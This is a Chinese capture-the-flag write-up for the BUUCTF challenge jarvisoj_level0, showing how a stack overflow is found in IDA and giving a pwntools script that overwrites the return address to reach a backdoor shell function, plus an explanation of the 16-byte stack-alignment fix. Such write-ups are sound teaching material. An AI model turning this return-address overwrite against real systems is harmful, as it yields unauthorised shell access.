BUUCTF jarvisoj_level0 1

目录

一、分析

查看文件信息

关键信息

  • 64位程序
  • 栈不可执行

IDA64反汇编

进入第一个函数

栈溢出
shift + F12查找字符串

点进去

发现是一个后门函数

二、EXP

csharp 复制代码
from pwn import *

context.arch = 'amd64'
# p = process("/tmp/pwn/level0")
p = remote("node4.buuoj.cn",28644)
elf = ELF("/tmp/pwn/level0")
callsystem = elf.symbols['callsystem']
p.sendline(flat([b"a"*128, 'a'*8, callsystem]))

p.interactive()

三、本地打不通?远程能打通?

修改代码处

csharp 复制代码
p.sendline(flat([b"a"*128, 'a'*8, callsystem + 1]))

为什么地址地址 + 1就可以执行了呢?

👉参考该文章

64位ubuntu18以上系统调用system函数时是需要栈对齐的。再具体一点就是64位下system函数有个movaps指令,这个指令要求内存地址必须16字节对齐

跳过了push rbp之后,rsp就少压栈了8字节,此时栈16位对齐

相关推荐
JQLvopkk5 小时前
Web安全学习步骤
网络安全
网安Ruler6 小时前
Web开发-PHP应用&Cookie脆弱&Session固定&Token唯一&身份验证&数据库通讯
前端·数据库·网络安全·php·渗透·红队
编程到天明6 小时前
CTF实战:用Sqlmap破解表单输入型SQL注入题(输入账号密码/username&password)
sql·网络安全·web
m0_738120729 小时前
Solar月赛(应急响应)——攻击者使用什么漏洞获取了服务器的配置文件?
运维·服务器·安全·web安全·网络安全
卓码软件测评12 小时前
软件测试测评公司关于HTTP安全头配置与测试?
web安全·网络安全·安全性测试·web app
敲上瘾20 小时前
渗透测试常用指令
服务器·测试工具·网络安全·压力测试
根本睡不醒#1 天前
kali安装maven
java·web安全·网络安全·maven
AWS官方合作商1 天前
AWS IAM:安全访问管理的核心指南
网络安全·云计算·aws
枷锁—sha1 天前
【BUUCTF系列】[HCTF 2018]WarmUp1
android·网络·web安全·网络安全
王火火(DDoS CC防护)2 天前
DDoS安全防护是什么?六点讲透
网络安全·ddos防御·ddos攻击